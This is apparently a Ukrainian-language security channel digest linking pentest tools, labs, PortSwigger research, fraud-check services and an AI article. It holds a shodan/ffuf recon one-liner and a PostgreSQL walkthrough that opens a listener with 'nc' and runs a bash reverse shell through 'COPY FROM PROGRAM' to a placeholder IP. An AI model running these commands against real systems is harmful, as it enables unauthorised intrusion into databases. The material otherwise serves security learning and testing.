Burp Extensions

Burp Extensions – це доповнення до інструменту Burp Suite, що дозволяє розширити його функціонал.

IntruderPayloads

Це скарбниця корисних навантажень для Burpsuite Intruder, я думаю багато хто використовує цю утиліту в Burpsuite, ось вам репозиторій де лежать багато пейлоудів для багатьох вразливостей.

Тут ти знайдеш:
1. 🕷️ Павуки, роботи та сканери (IG-001) — автоматизовані інструменти для виявлення слабких місць у веб-застосунках.
2. 🔍 Система пошуку та рекогносцировки (IG-002) — збір даних для визначення потенційних точок атаки.
3. 🎯 Визначення точок входу в застосунок (IG-003) — розкриття можливих місць для ін’єкцій та експлойтів.
4. 🖼️ Тестування на виявлення відбитків веб-додатків (IG-004) — методи розпізнавання фреймворків та серверів.
5. 🚪 Виявлення прихованих застосунків (IG-005) — методи для пошуку прихованих URL, API та ресурсів.
6. 🛠️ Аналіз кодів помилок (IG-006) — як використати інформацію про помилки для подальшого проникнення.
7. 🔐 Тестування SSL/TLS — перевірка безпеки SSL/TLS конфігурацій.
8. ⚡ І ще багато іншого .

https://github.com/1N3/IntruderPayloads

Одна із технік багбаунті-хакінгу для автоматизованого виявлення публічно доступних інстансів.

shodan search org:"Target" http.favicon.hash:0101010101 --fields ip_str,port --separator " " | \
awk '{print $1":"$2}' | \
while read host; do ffuf -u http://$host/FUZZ -mc 200 -w dictionary.txt ; done

За допомогою цієї техніки можна шукати відкриті сторінки із помилками, або інші внутршні дані, що випадково опинились у публічному доступі.
favicon.hash у даному випадку використовується для виявлення сервісів які мають той самий хеш. До прикладу в інфраструктурі крутиться Kibana → favicon.hash для кожного сервісу є унікальний. Відповідно, не потрібно сканувати весь інтернет для виявлення вразливості.

І результати такої техніки 💵

HACK JWT, підвищуємо привілегії до адміна, CSRF, Python, BurpSuite, PortSwigger Лаба 22(JWT).

У цій лабораторній ми спарсимо #CSRF token, використаємо JWT attack non algorithm для взлому #JWT токена з метою підвищення привілеїв до рівня #admin та видалимо користувача, хоч така опція для нашого облікового запису не передбачена. Попрацюємо з Python та #Base64, щоб редагувати значення токена.

https://www.youtube.com/watch?v=tn-tLfImB3Y

VAmPI — це вразливий API, створений за допомогою Flask, який містить уразливості з топ-10 вразливостей OWASP для API. Він був створений, оскільки мені потрібен був вразливий API для оцінки ефективності інструментів, що використовуються для виявлення проблем безпеки в API. Він містить перемикач, який дозволяє вмикати/вимикати API як вразливий під час тестування. Це дозволяє краще охопити випадки хибнопозитивних/негативних результатів.

Особливості
На основі 10 головних вразливостей OWASP для API.
Специфікації OpenAPI3 та колекція Postman включені.
Глобальне ввімкнення/вимкнення, щоб мати чи ні вразливе середовище.
Аутентифікація на основі токенів (налаштування терміну дії з app.py)
Доступний інтерфейс Swagger для безпосередньої взаємодії з API

https://github.com/erev0s/VAmPI

Перші нароботки машини часу з моніторів, щоб повернути час назад...

А ви пробували хакнути ChatGPT? Хлопець до успіху майже дойшов....

ми почали

https://youtube.com/live/F4T33ODZ_as?feature=share

Cloudmare — це простий інструмент для пошуку серверів, захищених Cloudflare, Sucuri або Incapsula, з неправильно налаштованим DNS.

Просто підключити Cloudflare до вашого сайта цього не достатньо, треба ще ретельно доналаштувати його, щоб не було ось такого як на скріні. Вже перевірив деякі сайти де розміщений захист і знайшов багато цікавих сабдоменів і їх реальні IP, треба доналаштовувати.

https://github.com/mrh0wl/Cloudmare

Nettacker

Це платформа автоматизованого тестування на проникнення - сканер уразливостей з відкритим вихідним кодом - управління вразливістю.

Виявляє сервіси та пристрої (SCADA, зони обмеженого доступу, маршрутизатори, HTTP-сервери, логіни та автентифікації, неіндексований HTTP, системи Paradox, камери, брандмауери, UTM, веб-пошти, VPN, RDP, SSH, FTP, сервіси TELNET, проксі-сервери та багато інших пристроїв, таких як Juniper, Cisco, комутатори та багато іншого)

https://github.com/OWASP/Nettacker

«Хтось має виростати у мідлів, а шлях туди стає складнішим». Як штучний інтелект змінює роботу початківців у QA

Щоб з’ясувати, як ШІ впливає на роботу початківців в ІТ, DOU запускає нову рубрику — «ШІ vs Джуніори». У першому випуску досліджуємо QA-напрям.

Чи конкурує ШІ з джуніорами в QA? Як розвиток штучного інтелекту впливає на пошук початківців у компанії? З якими завданнями джунів він точно не впорається? Джуніор + ШІ — чи погано це для компанії? Щоб відповісти на ці запитання, ми поспілкувалися з досвідченими QA-фахівцями.

Серед них:

Олександр Хотемський, Engeneering manager та QA practice lead в Doxyme;
Олексій Остапов, AQA Engineer в nCube;
Олег Грудко, QA manager в Omilia Conversational Solutions;
Свят Логин, Head of Engineering Excellence & Quality в EVO;
Геннадій Міщевський, колишній Lead SDET у FutureLog.

https://dou.ua/lenta/articles/how-ai-changes-qa-junior-work/

Cервіси для перевірки шахраїв.

Prom check - перевірка приналежності сайта до платформи prom.ua, щоб не потрапити на фішерів. Вказуйте лінк на сайт.

Privatbank Check, Сheck.gov - для перевірки справжності квитанцій про оплату. Перший для Приватбанку, другий для Моно, А-банк тощо. Вказуємо номер квитанції.

ЄДЕБО - державний реєстр для перевірки справжності документів про освіту. Вводите серію та номер диплому і отримуєте інформацію про його дійсність чи ні. Працює зі всіма документами, виданими після 2000-ного року.

Перевірка недійсних документів від ДМСУ - перевіряйте, чи не викраденим паспортом користується особа при укладенні договору тощо.

Wanted MVS - відкриті бази розшуку від МВС. Перевіряйте, чи не внесений телефон або транспортний засіб, який ви маєте бажання придбати до бази викрадених або втрачених.

Перевірка свого ІПН - перевіряйте справжність індивідуального податкового номеру (РНОКПП). Якщо номер дійсний, сервіс показує дані про дату народження і стать.

Судова влада - перевіряйте, чи має особа судові провадження, в тому числі штрафи, цивільні та кримінальні справи. Також можете перевіряти адвокатів, яких результатів у судах вони добивалися для своїх клієнтів.

Реєстр виконавчих проваджень - перевіряйте, чи присутні у особи будь-які борги (відкриті виконавчі провадження).

Whois - надає інформацію про сайт. Перевіряйте, чи не фішинговим є сайт, за яким ви перейшли.

X-ray contact - перевірка за номером телефону. Знаходить пов'язані номери, перевіряє Getcontact та соціальні мережі.

YouControl, OpenDatabot - автоматизована перевірка бізнесу, ФОП, транспортних засобів за ДНЗ та VIN-кодом.

Обхід WAF із використанням фантомного файлу cookie $Version

HTTP‑кукі часто контролюють надважливі функції вебсайтів, але завдяки їхній довгій та заплутаній історії, парсери кукій мають уразливості.

Перша частина
https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie

Друга частина
https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

Script kiddie

Короткий огляд інструментів для взлому та як базово можна їх використовувати при тестуванні на безпеку. А головне - українською мовою.

https://www.youtube.com/playlist?list=PLQ-w8CQDSqFBsH_fm34QmFv-iWY0e2AWQ

Huggingface

Цей інструмент в декілька кліків і в ріал таймі замінює емоції людини на фото.

Досить гнучкі та точечні налаштування. Все поділено на три категорії:
- голова,
- очі
- та рот.

До кожної категорії свої регулятори, наприклад (брови, моргання, посмішка, поворот/нахил голови тощо).

https://huggingface.co/spaces/fffiloni/expression-editor

Цікавий ресурс аналізу безпеки вашого JWT. Можна не лише розпарсити як то у jwt.io але і зразу проаналізувати.
Звісно, що даний ресурс не всі методи перевірки покриває, але в частині використанням алгоритмів і деяких інших притаманних JWT особливостей місця підсвічує.
https://jwtlens.netlify.app/

Якщо ви працюєте з PostgreSQL, можете спробувати себе частково в ролі Red Team.
Для цього вам потрібен користувач із правами pg_execute_server_program.
І так, підключаємось до бази:

psql -h hostname/ip -p 6543 -U username -d database 

Перевірямо наявність у поточного користувача потрібних прав або наявність таких користувачів у базі:

SELECT rolname
FROM pg_roles
WHERE pg_has_role(rolname, 'pg_execute_server_program', 'member');

або

SELECT has_role(current_user, 'pg_execute_server_program', 'member');

Якщо ваш користувач присутній у списку - можна переходити до наступного етапу.
Піднімаємо listener (слухача) на хості, що знаходиться в тій самій мережі, що і база даних, або на іншому, якщо дозволяє мережеве оточення:

nc -lvnp 4444

Далі запускаємо команду у PostgreSQL:

COPY poc_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"';

Якщо налаштування прав користувачів у PostgreSQL не обмежують використання COPY FROM PROGRAM або загалом права занадто широкі - ви отримаєте reverse shell від імені того користувача, під яким працює служба PostgreSQL.

Найпоширеніші техніки фішингу
Фішинг у рамках red teaming передбачає імітацію реалістичних атак, які використовують людські вразливості для несанкціонованого доступу до систем або конфіденційної інформації. Ці методи можуть включати цілеспрямований фішинг (spear-phishing), коли надсилаються електронні листи конкретним особам з метою змусити їх натиснути на шкідливі посилання або розкрити облікові дані, або “whaling” — фішинг, спрямований на високопоставлених осіб, як-от керівників. Атакувальники також можуть використовувати голосовий фішинг (vishing) або фішинг через SMS (smishing), щоб виманити в жертв інформацію. Учасники red team створюють переконливі сценарії, щоб перевірити здатність організації виявляти та реагувати на ці техніки соціальної інженерії.

https://svyat.tech/top-phishing-techniques

У Паші вже 29 відосів про тестування безпеки в веб застосунках, там можете знайти багато цікавих порад як шукати різноманітні вразливості.

https://www.youtube.com/watch?v=xwnMANGzQNc&list=PLxYN9UPEuN1Hx7wEUlmw7o9ej7BQwmnUw

Які новинки в CHATGPT вийшли вчора